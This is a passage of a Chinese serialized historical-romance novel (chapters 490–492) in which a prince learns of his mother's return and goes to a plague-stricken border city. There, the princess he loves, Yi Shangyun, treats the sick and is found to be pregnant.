紧随其后的张嬷嬷与程良俩人亦随其一道行礼。 纯太妃远远一瞥见榻上的轩辕翰安静的睡脸,忙嘘声将其打断,压低了声音致谢道:“有劳各位费心了,皇儿现在的情况如何了?” 乐太医抱拳上前禀告:“承蒙先帝庇护,殿下的身体并未受到任何的伤害,只是,只是……” 纯太妃见其吞吞吐吐,顿时变得有些心急了起来,催促着道:“皇儿他到底怎么了?” 乐太医想了一瞬,忙道:“殿下的伤,实质上并不在其表,而似是有什么难以解开的心结积聚在体内,久而久之,才会导致忽然昏迷不醒,方才又突发高热……” 话未说完,纯太妃便心急如焚地惊声道:“你说什么,突发高热?” 一边说着,便疾步朝着榻边奔去,乐太医忙道:“太妃娘娘放心,现在殿下的高热已经退了,可这心结……” 闻此,已近身过去的纯太妃复又顿转回身将目光落向程良的脸,朝其质问道:“程良,你自幼便整日跟随在殿下左右,殿下他这到底是怎么回事?这心结,又是从何而来?” 程良垂首,忽变得吞吞吐吐起来,道:“太妃娘娘,殿下他,他……” 纯太妃深吸了口气,隐忍着心头的愤怒,认真地说道:“但说无妨,殿下他究竟怎么了?你且将一切事情的前因后果仔仔细细,一字不落地与本宫讲个清清楚楚,明明白白。” “是!” 在纯太妃的面前,程良显然只得领命,遂将轩辕翰与衣上云从在西秦相识开始,为了她,一路走来不惜与全世界对抗,最后至东宁俩人却无情结束的一点一滴俱都朝其娓娓道来…… 听了程良的话,纯太妃显然惊呆了。 她愣愣地看着轩辕翰的脸,似是半晌都没有反应过来,心里只自顾自想着:“没想到,天下竟还有这般的女子。身为一国之无比尊贵的嫡公主。却为了护住自己所喜欢的人,不惜牺牲自己的名节,也要保全了所爱之人。” 隐藏地无比深沉,如此细腻的心思,深陷其中的轩辕翰等人看不透,可对于阅历颇深的纯太妃,同样身为一个女人的自己来看,衣上云的用心良苦确是那般的清晰易见。 沉默了半晌后,忽一回过神来,她将面前的三人一齐挨个儿扫了一遍,沉声问道:“这一切,你们三个俱都知晓,对不对?” 三人一起默默地点头。 程良至今想起来,都为自己的主子深感忿忿不平,气着道:“‘女人心,海底针’这话当真是一点都不假!真是一朝飞上了枝头变凤凰,翻脸不认人。这世间最毒的,当真是女人的心,看我家殿下如今都变成什么模样了!殿下为她所做的一切,真是不值!” 张嬷嬷一直都感觉不能理解,亦不相信,遂亦缓缓开口疑惑地说道:“这姑娘,老奴也曾在府中见过几次。她秉性善良,乖巧懂事,看着不像是那般无情之人啊!” 乐太医捋着胡须默默地点头,似是也同意张嬷嬷的见解,只是没有说话。 不想纯太妃听了,竟忽然笑了起来,稍后继续说道:“没想到,这东宁国的公主还真是不一般啊!走了一个,又来一个。看来我儿,以及我秦王府,竟与那富甲一方的东宁如此有缘?” 闻此,张嬷嬷不解地问:“不知太妃娘娘此话的意思是……” 纯太妃似是饶有兴致地道:“本宫对那一见便知只知贪图享乐的永乐公主实在是瞧不上。不过,对这位在我西秦长大的永宁公主,倒是破感兴趣。俗语有云‘一方水土,养一方人’,为何人与人之间的差距如此之大。有生之年,不知本宫是否能有缘得此一见?” 闻此,三人一起顿看向纯太妃的脸,显然惊呆了,程良不敢置信地道:“太妃娘娘您……” 就在这时,轩辕翰忽然再次发出了呢喃细语道:“母妃,母妃……” 闻此,四人俱都一起朝榻边疾步近身了过去。 纯太妃过去落坐在榻边,紧紧握着轩辕翰的手,着急关切地道:“皇儿,母妃在这里,可是哪里不舒服?” 乐太医见势正欲上前查看,只见轩辕翰缓缓睁开了眼睛来。 朦朦胧胧中,他先看到此刻眼前正套在纯太妃手腕上似曾相识的那串佛珠,终于回想了起来。 在城南时所见到的那位老妇人,遂惊诧地断断续续道:“原来你,你真的是……真的是母妃!” 纯太妃眼里闪烁着泪花朝其重重地点头,一手握着轩辕翰的手,另一手伸出去抚摸着那久违了的轮廓,深情又激动地道:“是母妃,母妃回来了,是母妃回来了。这些年,皇儿一人受苦了!” 于是,轩辕翰缓缓坐了起来,灯火婆娑中,相依为命的母子俩人紧紧地拥在了一起,喜极而泣。 春天,就这样肆无忌惮地展现着整个漫长而又寒冷的冬天所酝酿出的无限能量。 转眼,又是匆匆数日过去。 在纯太妃的精心照料下,轩辕翰的身体已然完全恢复了。 晌午时分,风和日丽,阳光明媚,似是就连周围的空气里所弥漫着的亦是满满的幸福与满足。让人不禁产生了一种错觉,所有的阴暗俱都过去了一般。 此时,纯太妃,轩辕翰母子俩正在殿内闲聊交谈。 纯太妃失望地说道:“西秦守护者,原本母妃本已经等到了,只可惜,后来又将她给弄丢了!” 听到这个话题,轩辕翰心中不禁顿了一下,道:“西秦守护者?!” 见其眼神里有种异样的感觉透露出来,纯太妃猜测着道:“怎么?皇儿你难道……亦已经见过了这位西秦守护者?” 轩辕翰顿回过神来,连忙矢口否认道:“不,皇儿并未曾见过守护者本人,只是偶尔听人谈及过而已。” “知子莫若母”纯太妃忽然觉的自己的这个儿子怪怪的,似是关于守护者,故意在对她隐瞒着些什么。 俩人正说着,程良步履匆匆地走了进来,见母子二人正在叙旧,便又将已然被提到了嗓门上的话咽了回去。 正欲悄悄退去,轩辕翰余光瞥见,扬声叫住了他:“发生了何事?” 程良想了想,终还是硬着头皮走了进去,朝其禀报道:“殿下,刚刚传来的消息,地处我国东部边境的东宁国,一名曰‘龙虎城’的地方正在蔓延着一场前所未有的瘟疫。依殿下所见,我国是不是也要对此疫情有所预防?” “什么?瘟疫?” “东宁国?” 闻此,轩辕翰顿立起身来,连连惊讶极了。 而忽一对上纯太妃所投来的惊诧的目光,复又缓缓坐了下去,沉声道:“吩咐下去,龙虎城附近的地区务必严加防范,减少人员流动。” 程良似是心中依然有所顾忌,轩辕翰察觉后一边喝着茶,一边问:“还有何事?” 显然刚刚收到的许多消息,让他着实觉得有些意外,索性程良最后却还是忍不住地说:“听说,东宁国的永宁公主数日之前,已起驾亲自前往疫区里查看。” 闻此,轩辕翰停下手里的动作顿望向程良的脸,同时将手里的茶盏重重地拍在了身旁的茶几上,惊诧不已地道:“这个女人,为何总是不论到了哪里?从来都改不掉多管闲事的毛病!” 轩辕翰说着,回忆着,复又忿忿地道:“之前传来的消息不还说,她才是东宁国君生前所属意的下一任国君人选吗?既然如此,她不好好地在宫里呆着,跑到疫区里去干嘛?” 程良解释道:“属下听说,那永宁公主继任当日,太后带着二皇子在大殿之上为了争位而大闹了一场,却是被永宁公主不知对其说了些什么,并没有得到半点好处,气呼呼地离开了大殿。可最后,永宁公主竟然当着群臣的面将大位让给了三皇子梅志煊。不过如此一来,玥公主在东宁,也算是以后再无后顾之忧了!” 不知又想到了什么,轩辕翰忽然在嘴角扬起一抹弧度来,转念又嘲讽道:“没想到,她为了能做南安国的太子妃,竟愿意放弃一国之君的位置!看来,她是真的颇为钟情于那个南安太子。” 程良沉默了一会儿,又道:“似乎,永宁公主,她根本就没有打算要与南安国和亲。” 看到其主子听了自己的话顿朝自己所投来的质疑的眼神,程良竟垂首下去不敢再看他,道:“听说,当日东宁国殿前文武百官最后纠结于到底永宁公主是该去和亲以此来缓和东宁与南安的关系还是做东宁国君时,易三少于大殿之上扬言自己愿意入赘东宁国,成全永宁公主做国君和与南安太子成婚俩不误,可却被永宁公主当场拒绝了。” 第四百九十章:始终放不下她 看到其主子听了自己的话顿朝自己所投来的质疑的眼神,程良竟垂首下去不敢再看他,道:“听说,当日东宁国殿前文武百官最后纠结于到底永宁公主是该去和亲以此来缓和东宁与南安的关系还是做东宁国君时,易三少于大殿之上扬言自己愿意入赘东宁国,成全永宁公主做国君和与南安太子成婚俩不误,可却被永宁公主当场拒绝了。” 闻此,轩辕翰缓缓眯起了眼睛来,两道浓黑的剑眉紧紧皱起,心里疑惑极了:“这个女人,她到底在做什么?不惜将一个女子最珍贵的东西给了本王,却又那般无情地拒绝了本王。嘴上说自己似有多么的贪慕虚荣,尔今东宁国君薨逝,明明自己可以名正言顺地成为东宁国的新任国君,乃至于这片大陆上最尊贵无比的女人,可谓是要风得风,要雨得雨,却又怎会将其如此轻易地便拱手让人?” 一念至此,他忽然似是想到了什么,抬眼过去望向程良着急地问:“可是那三皇子梅志煊逼迫她让位?” 程良摇摇头,说:“据消息说,梅志煊并不曾逼迫于她,似是连梅志煊本人亦是对此颇为惊讶!据说当日在朝堂上,永宁公主面对继后的强势威逼时,从始至终都表现地极为镇定自若,不卑不亢,尤为令人敬佩!亦是因此,群臣对她大为赞赏,说其与已故的东宁国君果然气质与威严无二,实不愧为新君的最佳人选。” 就在俩人正各自都陷入自己的苦思冥想之中时,一直默默在一边听着俩人谈话的纯太妃终于开了口,佯装着什么都不知道地问:“你们在说什么永宁公主?这个永宁公主又是谁?” 闻此,程良遂朝着纯太妃的方向,开口解释道:“回太妃娘娘,永宁公主,她就是东宁国从小遗失在我西秦的嫡公主,亦是害得殿下成了如今这般之人……” 纯太妃自是一回府便已知晓了衣上云的身世与存在,她只是想看看轩辕翰如今对其的反应而已,忽见纯太妃正悄悄朝自己投眼色过来,程良正在暗自揣测,却被轩辕翰忽地喝声阻止道:“程良,多嘴?” 程良因此紧忙收了声。 自己的儿子什么秉性,自是做母亲的最是了解不过了。虽说在其成长的过程中,自己缺席错过了许多年。但在轩辕翰如今的身上,其儿时便就已有的沉稳冷静模样如今看来,显然清晰可见。 可这一刻,纯太妃见其此时明显从未有过的情绪激动,乱了方寸一系列反应,遂在心底里一愣,便知其显然与自己先前心里所猜大致无二。 于是故作惊诧地看着他的侧脸问:“你们方才所说的永宁公主,是不是大街小巷正在到处传闻的东宁国永宁公主,就是那即将成为灵空大陆上的第一任女国君的东宁国嫡公主,永宁公主,对么?” 程良自是被训斥了之后不敢再次随意说话,不得已,轩辕翰只得自己点了点头,以示默认。 岂料纯太妃紧接着又乍出一句:“怎么?皇儿你,莫非真的看上了那个敌国公主?” 对一个竟以如此高明的手段利用了自己的人,明明知道心里应该恨透了她。可刚听到程良所带来的消息,却忽然又怎么都恨不起来了? 遂想想昔日里为了她奋不顾身所做的一切,所有苦的,甜蜜的过往,终了却都败给她最后对自己义无反顾,狠心决绝的那番话。 许是真的觉得累了,轩辕翰似是不想再揣测其真正的用意,亦不愿再提起,更不愿多说什么,只缓声说了句:“母妃,过去的,都已经过去了。” 见他面露疲惫,纯太妃着实心疼,亦不想再多加追问,于是起身来说道:“这秦王妃的位置,既然母妃已经回来了,便一定会给你好好选一个贤良淑德,秀外慧中,德才具备的好女子!以后有母妃在,我倒要看看宫里的那位能拿我们母子如何?” 闻此,轩辕翰忽地回过神来,转身看着纯太妃的眼睛,扬起一抹浅笑来,安慰她道:“一切全凭母妃做主!” 这时,一边的程良总算是放下了心来,见其母子俩人情意满满,正欲悄悄退身下去。 刚一转身,便被轩辕翰叫住:“你去做什么?” 程良顿又忽地转回身来,垂眼下去禀报道:“瘟疫肆虐,属下这就去紧急安排龙虎城附近的我国城池防疫措施。” 轩辕翰想了一下,侧着脸对其忽然下令:“不必了,吩咐下去,本王即刻启程亲自前往东部边境去查看!” 程良顿抬起眼来,朝其惊诧不已地道:“可我国尚还未发现有疫情传出,并不需要殿下您亲临督导防疫啊!” 轩辕翰沉默着并没有回答他,程良不知,纯太妃却是瞬间明白了过来。显然,自己方才前一秒刚刚说要亲自为其挑选物色一秦王妃的最佳人选的一番话算是白搭了。 这个儿子,表面上看似恨透了衣上云,心里实则根本就从未曾放弃过她半刻,他,始终放不下她。 说什么亲临督导防疫,根本就是担心那个女子的安危。 也罢,儿女的事,总归也不能勉强了他们,就传闻中的这个东宁国公主,人品的确贵重,如此惊世女子,敢作敢当,敢爱敢恨,以及其所做之事,不禁让她都为其眼前一亮,想要亲自一赌其风采。 虽说她只是身为敌国公主,可儿子喜欢,她又能如何呢?她应该相信,轩辕翰能处理好这一切,他完全有这个能力。 可一想到眼下是要去疫区,虽说守护一城百姓是他的责任,可难免还是为其颇为担心,遂眉头深锁住,犹犹豫豫地问:“此行,皇儿非去不可么?” 轩辕翰缓缓伸出手去,捉起纯太妃的两只手,将其紧紧握住,笑着说:“母妃不必担心,皇儿保证,一定会平安无事的回到您身边的。” 见其心意已决,不得已程良只能悄悄退下去依照其吩咐赶紧准备安排。 东宁国,龙虎城。 城门紧锁,大小商户,宅院大门俱都紧紧闭起。 大街小巷,城里郊区,甚至于乡间小路上连一条小狗小猫的踪迹亦是见不到。 明明正值春日里万物复苏,春光明媚,到处一派生机勃勃的时节,此处却皆都一片冷风凄凄,萧条死寂的景象。 数日以来,自从一踏入龙虎城的大门,梅志煊与衣上云便一起废寝忘食地带人查看了全城的疫情。 疫情传播的速度比他们原本的想象要快得多,衣上云当即命令所有染病的人都被集中到山里的一处寺庙里,由寺庙里的僧侣以及临近的城池自愿组成的医护人员来照顾。 多日过去,终于,疫情的传播被控制了下来,可每日死亡的人数却依旧只增不减。 这会儿,俩人带着侍卫刚刚查看了城里的自然环境,似是发现了些什么端倪,衣上云回到屋里,便猛灌下一杯水,对坐在一边同样疲惫不堪的梅志煊说道:“如此看来,龙虎城里所发生的疫情,实质上是因为今年这里的冬季来的比其他地方都要晚许多,所以才会在此时爆发。” “应该是了!”梅志煊亦是同意她的见解。 见其满脸疲惫,衣上云胡乱抹了一把嘴角的水渍,提起水壶来再倒了一杯水,近身到其身边朝其递了过去。 梅志煊将其一把接过,如饮甘泉,一饮而尽。 衣上云坐下,吞吞吐吐地问:“你……还好吧?” “为什么这么问?”梅志煊疑惑地看向她,说道。 衣上云想了想,说:“从小到大,一定没遇到过这么多生离死别的场景吧?” 梅志煊听了,默默回首过去若有所思着,并未回答她。 俩人遂一起坐着沉默了一会儿,衣上云深吸了口气,忽再次开口道:“好了,多日以来,你已亲眼目睹了你的子民正处在怎样的水深火热之中。有了这样深刻的体验与感受后,想必日后处理政事你定会多加心存善念,少些杀戮的戾气。你要明白,你是一国之君,你手里的朱笔一挥,便是无数百姓的性命。这也就是为何我要你此次与我同行的目的。如今目的已然达到,朝堂正在等着你,你便即刻启程回东宁吧!” 梅志煊此时方才恍然大悟,为何衣上云临行前忽然改变主意,执意要他陪其一同前往,闻此忽对其肃然起敬,却又忧心地道:“可是这里的疫情还很严重,你一人独自留在这里,有诸多不妥。” 衣上云大义凛然地说:“江山社稷,无非皆以民为本,民安则国安,民强则国才强,若是牺牲我一人,能换得我无数东宁子民的永世安宁,我愿意!” 听到这里,梅志煊已然羞愧不已:“皇妹,皇兄我,当真是不及你……” 衣上云却在心里默默地道:“父皇,当初你赐予儿臣永宁的封号时,也一定是这样想的对吧?!” 梅志煊缓缓起身来,对着门外的空地,说道:“皇妹,这里距离西秦的边境极近,先前你当众那般地羞辱秦王,想他睚眦必报,定对你怀恨在心,若是他知道你在这里,怕是……” “你一定要多加小心才是!” 衣上云吐了口浊气,道:“是福不是祸,是祸躲不过。该来的,迟早都会来,皇兄务必时刻谨记你的责任,做个贤明的国君。” 梅志煊立在原地里停了片刻,正欲迈步离开,衣上云补了一句:“还有,好好待玥儿!” 第四百九十一章: 一句实话都没有 时间,始终都是让人觉得猝不及防的东西,晴时有风,阴时有雨,争不过朝夕,又念着往昔,悄悄偷走了青丝,奈何却总是留不住一个你。 在疫区的日子,虽然忙碌,可日子却看似总算是终于平静了下来。 衣上云除了夜以继日地全力救治病患,研究药方以外,余下的时间,便满满都是记挂思念着轩辕翰的安危。 山上的寺庙里,空气中到处弥漫着浓浓的药草味,仿佛此时人人头顶上的天空亦是因此而满满皆是雾霾一般,可没有一人顾得上它究竟是晴天亦或阴天,自顾自只步履匆匆地在其中来回穿行着。 一日,从庙前一简易搭建起的帐篷里,忽地传出一男子悲痛不堪的哭声来:“老天爷啊,你若要惩罚,便就惩罚我。要取也来取我的命,为何偏偏带走她们母子,难道你不知她们就是我的全部。如今,她们都不在了,那留我一人在这世上,让我生不如死,活着还有什么意义?还有什么意义?” 紧接着,传出一女子歉声连连着道:“对不起,对不起,真的对不起,是我无能,是我的错,是我没能救得了她们,但你要冷静一些,且不要……” 男子似是忽被其声音唤醒,欲将这一切后果都发泄出来,闻声对她呲牙咧嘴地扬声呵斥道:“你说过你保证不会让她们死的,可是现在她们还不是死了。骗子,你根本就是个骗子,杀人凶手!” 男子情绪很是激动,竟口不择言,愈演愈烈,狠狠地道:“说不定,就是你这个庸医故意害人性命,是你杀了她们,是你!今天,我一定要替她们母子报仇,要你偿命,我,我……” 男子说着,便放眼过去四处寻觅着,最后将目光定在一位医者的手里,大步过去气急败坏地忽一把夺过了其手里的剪刀来,朝着女子的左胸口处大力地直直刺了过去。 就在这时,在旁为另一病患诊治的一中年医者站了出来挡在女子的面前,伸出两指准确地击中了男子持刀的那只手臂上的某处穴位,其手臂顿觉失力,那把亮铮铮的剪刀便随之“咣当”一声,落在了地上。 之后紧接着训斥其道:“你是不是疯了?若不是永宁……” 似是觉得自己一时激动说错了话,遂顿了一下看了女子一眼,又继续道:“这位可是来自于皇宫的医女,且是这里最好的医者。她一人所救治的病患比数十名医者都还要多,若不是这位医女医术过人,她们母子早已在来这里的第二日便就死了。你不要空口白牙在这里不分青红皂白,随意诬陷好人!” “我,我……”闻此,男子显然再也说不出话来。 中年医者狠狠瞪了他一眼,继而转身对女子十分敬佩地关切道:“衣姑娘,您没事吧?” “无碍!多谢你。”衣上云的心里又何尝不难过,她蹙眉望着男子依旧回去依依不舍地紧握着妻子的手,伤心地道。 中年医者跟随其目光回头望了一眼,关切地道:“你已经尽力了,为了她及其腹中的胎儿,打从她一来到这里,你便没日没夜地尽心照顾,已经十多天都没有好好合下眼了。去歇会儿吧,后面,还有更重要的事等着您呢!” “是啊,转眼已近一个多月的时间过去了,而治愈疫病的药方却是一试再试,终究不见起效。如此再这样耗下去,整个龙虎城怕是就要……”衣上云说着说着,不由自主地紧紧握起了双拳来,似是都不敢再继续想下去。 最后,她对其无力极了地低声说了句:“多谢!”,便转身走出了帐篷。 而帐篷外,她所缓缓前进的每一步,放眼过去所看到的四周则是更多的病患在痛苦地呻吟着,朝她投来祈求的目光。 求她救救他们,救救他们的父母兄弟,救救他们的丈夫妻子,救救他们的儿子亦或女儿,救救东宁国…… 瞬间,衣上云的泪水再也忍不住地流了下来…… 就在刚刚,她亲眼目睹一男子依依不舍地送走了身染疫病的妻子。 在这里,每一次面对死亡,她都紧紧咬住嘴唇,似是都已经渗出血了而一点儿也不自知,只觉自己竟是那般地无力,纵使拼尽了全力,却依然不能帮助到她们。 那男子的妻子,起初发现自己染病时刚刚得知自己已有了身孕,为了保住肚子里的孩子,很多对孕妇不好的药物她都拒绝服用。 意志已然如此坚强,可刚刚度过了孕期最危险的头三个月,却就在这时,终于还是没能坚持住,无力回天,撒手人寰。 亲眼目睹了这一切,衣上云忽然间觉得自己似是都不能呼吸,她不听使唤地加快了脚下的步伐一路狂奔出寺庙大门,直到来到了一条小河边,“扑通”一声瘫倒在地上,放声哭了起来了。 “殿下,你在哪里?你现在哪里?你回来,回来好不好?云儿,云儿真的快要受不了,受不了了?” 不知为何,忽觉顿时天旋地转,只觉得眼前一黑,嘴里遂喃喃低语着:“对不起,殿下,对不起……” 话未说完,便就顺势重重地朝着面前的河水里倒了下去。 就在这时,河边出现了一双大手,急步过去将其稳稳地接住拉回,一系列动作尤为连贯地最后将其紧紧揽住到自己宽大的怀中。 朦朦胧胧中,衣上云恍恍惚惚地看着那仿佛是一张男人的脸,迷迷糊糊中便随着自己最后的意志断断续续道:“殿下,你终于回来了!终于……终于回到云儿身边来了吗?你,你要原谅……原谅……云儿,云儿……云儿好……好……好想殿下,云儿,好……好累……” 话音刚落,便晕了过去,彻底失去意识。 “殿下,那不是……”霎时间,附近一灌木丛后,几名遮着黑色面巾的黑衣人群里传出声音来。 就在方才衣上云一奔出寺庙大门,便一直尾随其后跟至此处的轩辕翰与程良带着几名侍卫正躲在一旁的灌木丛后,见衣上云已然状态不好,想要看看究竟发生了何事? 最后见其体力不支地晕倒,轩辕翰正欲抽身上前去扶,却被同样一直默默藏于暗处的易三少先了一步出现将人带走。 “这个易三少,还真是阴魂不散,可是哪哪儿都有他?”程良愤愤地说。 轩辕翰怔怔望着正渐渐远去的俩人,默默握起了双拳来,心里则是想着方才衣上云在河边所说的话,心里暗暗地道:“这个女人,明明心里就是有本王的,却偏偏要嘴硬。当真是,一句实话都没有。” 见其身影终于消失在众人眼前,程良问:“殿下,现在该怎么办?” 轩辕翰目光冷厉,惜字如金地道:“回去!” 至此,小河边终于恢复了平静。 是夜,一轮明月高高挂在了天边。 昏昏沉沉中,衣上云终于缓缓醒了过来。 易三少将她一路抱回到房间,至此便寸步不离地守在她的床边,眼睛一眨不眨地看着她,一见其眼珠终于转动了几下,便惊喜地道:“丫头,你终于醒了!” 衣上云一看清眼前的人的确是易三少没错,便激动地一边起身来,一边道:“三少,怎么是你?我不是说了不让你来这里的么?这里很危险,你怎么就是不听呢?” 闻此,易三少一想起方才河边的危险来,便坚定极了地说道:“丫头,你都不知道刚才在河边有多危险,你独自一人险些就要晕倒在河边,顺着水流给飘走了。既然,你如此不知爱惜自己,就不要再妄想撵我走了。” 衣上云实在不知道上一世到底他俩谁欠了谁,直觉自己这辈子似是都拿他没了办法,每次到最后,都是事与愿违,索性便就由他去吧。 不经意间一抬起头来,望见窗外夜空里难得一见如此大的一轮皎洁的明月。遂一脸惊喜,饶有兴致地说:“三少,我想出去院子里看看今夜的月色,顺便透透气。” 易三少这才亦随其往外一看,亦是颇感十分惊讶,便道:“好,我陪你!” 于是,俩人一起来到了院子里,举头望明月,对影成双人。 易三少只觉此情此景似曾相识,遂回忆起俩人自从西秦相识到现在的点点滴滴,心念一动,便提意:“在我们南安国,据说对着满月许愿,最是灵验不过了。不如,乘此月色,丫头你许个心愿吧!” 衣上云笑了笑,道:“没想到,三少你也信这个?” 易三少挑了挑眉,坚持着道:“许一个吧!” 衣上云被逼无奈,只好双手合十,缓缓闭起眼睛来,在心里默默地道:“上天保佑,希望易三少在龙虎城里平平安安,一生喜乐无忧……” 就在衣上云许愿的时候,易三少亦悄悄地双手合十虔诚地快速许下了一个愿望:“上苍保佑,丫头此生长命百岁,我易三少愿以自己的寿命为她续命。” 衣上云刚一睁开眼来,易三少便迫不及待地追问:“快说,你许了个什么愿望?” 自以为自己的所作所为衣上云并未察觉,其实衣上云却早已看透了他的小心思。 就在方才俩人一起许愿的期间,她半眯起一只眼睛来悄悄瞥了一眼身旁的他,于是反问他:“那三少你方才又许了什么心愿?” 衣上云只觉他此举颇为幼稚,正笑着,忽觉胸口处隐隐有些想要反胃的感觉…… 第四百九十二章:身孕 “那三少你方才又许了什么心愿?” 衣上云只觉他此举颇为幼稚,正笑着,忽觉胸口处隐隐有些想要反胃的感觉。 她紧忙伸出一手掩住了嘴,却终是化作了一个干呕,心里似是忽然对此有些猜测:“近日里频频作呕,月事也迟迟未见来,该不会是……” 皱了皱眉,于是便再无心与他玩笑,想要回房去歇一歇,遂扭头回去不再理会他。 然易三少却似是并未发现她此时身体有所不适,仍不依不饶地快步追了上去,继续问道:“丫头你就算不说,我也知道。方才你所许的心愿,一定与我有关,对不对?” 这追上去一看,方才见衣上云一脸苍白虚弱,整个人似是还在有些发抖,便着急地惊问道:“丫头你怎么了?可是哪里有不舒服?” “没事,我只是刚刚觉得有些累,回屋休息一下就好了……” 未及衣上云将话说完,易三少便倏地一下弯腰下去将其一把横抱了起来,进屋小心翼翼地将她放到了床上。 “我真的没事,你不用如此担心!”衣上云背靠着床头,说道。 然易三少却根本就不听她所说,自顾自一把将其一只手臂拽向自己,说:“刚才被你一打岔,竟然忘了你一醒来便就该给你好好诊个脉的。” 衣上云一听,似是忽然想到了什么,遂本能一般地将手臂快速地抽了回去藏在身后。 继而故作惊诧地道:“诊脉?我自己就是医,自己的身体,自己最是清楚了解不过了。真的不必三少费心。我只不过是因为近日里救治病患有些劳累,休息休息便就好了,你就不要在这里大惊小怪了,我真的无妨。” 或许一开始,易三少真的只是单纯地想要等她醒来以后替她把把脉,确认其真的是没有什么问题。 可这会儿,见衣上云躲躲藏藏怎么都不肯让他替其把脉,易三少倒是觉得她一定有什么问题了。 于是,他俯身将脸凑近了些过去,眼睛直勾勾地紧紧盯视着衣上云的眼睛,认真地问:“丫头,你……该不会是瞒着我些什么事吧?” 衣上云听了,极不自然地笑了笑,目光四处躲闪着道:“我……我孑然一身,有什么事好瞒你的,三少你是真的多虑了……” 见此,易三少更加不相信她所说,缓缓退身回去再一次认真地说道:“拿出来……” 衣上云显然因为太过于紧张,一时间似是都已反应不过来,纳闷地问:“什么?” 易三少垂眼下去瞥了一眼此刻衣上云紧紧攥在一起的两只手,坚定地道:“手,在我亲自动手之前,你最好自己乖乖听话拿出来。” 衣上云依旧还想逃避,道:“三少,我……” 可易三少似是对其已完全失去了耐心,乘其不备忽地伸手大力地一把将其一只手强行拽了过来,准确无误地搭在了那跳动的脉搏上。 一室寂静,静的似是连俩人的心跳声都清晰可闻,衣上云此刻紧张地连大气都不敢喘一下。 半晌后,易三少的整个人都惊呆了,他这才恍然大悟为何衣上云死活都不肯他替她把脉。 最后,他皱紧了眉头看着衣上云的眼睛不敢相信,却又不得不信地问:“你……是不是……你早就已经知道自己已有了身孕?” 对于衣上云而言,听到易三少所宣布的这个消息,此刻于她,亦是如梦初醒般的自己又何尝不为之惊讶:“你说什么,我真的已经……” “与他只不过是在天牢里的那一次而已,便就有了。”衣上云垂首下去默默地想着。 一时间,竟不知所措起来,更不知自己到底是该喜还是该忧,只不经意地紧紧攥住了裙角。 这时,耳边再次响起了易三少沉闷极了的声音:“看脉象,已有一个多月了。” 顿了一会儿,算算日子,他又何尝不知,如今她腹中的这个孩子显然正是那秦王轩辕翰的。 一念之此,易三少垂着眼睛,紧紧地咬着牙关,同时将手缓缓收回。 明明心里恨的牙直痒痒,可一抬头看到衣上云此时垂首着满脸无助的脸,却又忍不住深吸了口气,关切地问:“如今,你打算怎么办?再过段时日,便该显怀了,难道你就不怕……” 易三少似是都不敢继续往下想了去,默默地起身,单手附后着迈步走到窗边,抬头望着夜空中依旧明亮无比的那轮明月。 而此刻,他却觉得它今夜亮的格外刺眼,不知不觉中,身后紧紧握着的那只拳头都渗出了血来,自己却是毫无察觉。 就这样,俩人又一次陷入了久久的沉默之中。 不知过了多久,易三少忽然开口打破了这片死寂。想了许久,心一横最后说道:“无论如何,我都不会让你遭受世人冷眼的。” 闻声,衣上云这才慢慢抬起头来看着他的背影,不知他想要做些什么? 易三少并没有回头,却是忽乍出一句道:“不如……我们成婚吧?” 对此,衣上云先是愣了一下,没想到易三少对自己的心,远远超出了自己所预想的。即使自己早已不是完璧之身,尔今还怀了别人的孩子,他依旧可以对自己保护至此。 普天之下,有哪个男子会爱一个女人做到如此地步的?更何况,他还是南安国未来唯一的继承人,身份何其贵重! 思索片刻,她开口坚决反对道:“我知道三少是为了我好,可是……不可以,这对你不公平。” 易三少自嘲一般地笑了一阵,道:“公平?若是这个世上什么都有公平可言的话,那你早就应该是我的人了!” “我……”衣上云显然对此无言以对,只得默默地低头了下去。 易三少扭头回看了她一眼,反问:“不是吗?” 衣上云沉默着,不知该如何回答他,遂将一手轻柔地附在自己的腹部,想了想,说道:“不管三少你怎么说,我都不可以这么做。无论于你,于我,于他……于我腹中的孩儿,我都不可以这么做。” 易三少思之又思,明明知道不可能,却还是想说出来试一试:“不如,我亲自为你准备一碗温和的落子汤吧。你放心,绝对不会伤到你的身子……” 话音未落,衣上云顿抬起头来惊看向他的脸道:“不可以,三少你若敢动这个孩子半分,我这辈子都不会原谅你!” 听到这话,易三少终于再也隐忍不下去,彻底对其失去了耐心,竟亦对其扬声咆哮了起来:“这也不可,那也不能,那你到底想要怎样?难道等这个孩子出生以后,与你一道被天下人耻笑,骂他是没有父亲的野种,辱你是未婚先孕,不知廉耻的女人吗?” 衣上云见其已然怒气冲天,丧失了理智,可心里一想,其所说的道理却又何尝不是呢,可最后却也只能默默地倒抽了口气,无言辩驳,亦无计可施。 易三少见事态严重,已然发展至此,她却全然不管不顾自己以后的生活,更是对自己的提议软硬不吃,便忿忿不平地道:“既然我拿你没办法,看来,我只有去找轩辕翰算账了。我倒是想看看,他会拿你怎么办?” 见其说着便要疾步朝门口奔去,衣上云着急地直起身来,惊愕地看向他,大声阻止道:“三少,不要!这件事,千万不能被他知道,否则,你我这辈子从此恩断义绝,今生……你便再也见不到我了。” 见其终于止步,衣上云方才安心了一点儿下来,遂恢复了平静后,喃喃细语道:“三少,请再给我一点儿时间,让我好好想一想。” “唉!”易三少顿足停了一会儿,最后无奈极了地重重叹了口气,甩了甩衣袖,愤愤跨出了门槛去。 一出门,易三少遂将重重的一拳砸在了身旁走廊的柱子上,咬牙切齿恨恨地道:“轩辕翰,都是你干的好事!” 就在这时,忽闻前方传出一阵异响来,易三少警惕地大喝一声道:“谁在那里?” 借着院子里昏暗的烛火之光,从回廊的拐角处渐渐走出一男子身影来。 待其近身过来一看,黑夜里来人脸上遮着黑色的面巾,那人脚步沉稳地来到了易三少的面前。 遂驻足停下将遮挡的面巾往下一拉,易三少顿时气不打一处来,上去便是朝其重重地一拳落在了对方的脸上:“轩辕翰,你还没死!” 轩辕翰自是怕他一出手,便惊动了屋内的衣上云的修养,于是抹了把嘴角的血渍,隐忍着说道:“易三少,念在今日你在河边救了云儿,这一拳,本王便不与你计较。” 易三少冷哼了一声,对其不屑一顾地道:“哼,与我计较,你也配?” 因为白天回去后实在不放心衣上云,故此轩辕翰才决定在夜里悄悄来访。 其目的并不是易三少,自是也用不着与他在此多纠缠废话,于是便再次提起步来兀自继续朝前方衣上云的屋子方向走去。 经过易三少的身边时,易三少忽地伸出一只胳膊将其堵住,警告他道:“秦王殿下可知这里是东宁国的领土,以你的身份,极其不适合出现在这里。而且,莫非秦王忘了,丫头曾亲口说要嫁与我为妻的。所以以后,尤其是深夜,你都给我离丫头远一点,否则……我要你的命!” 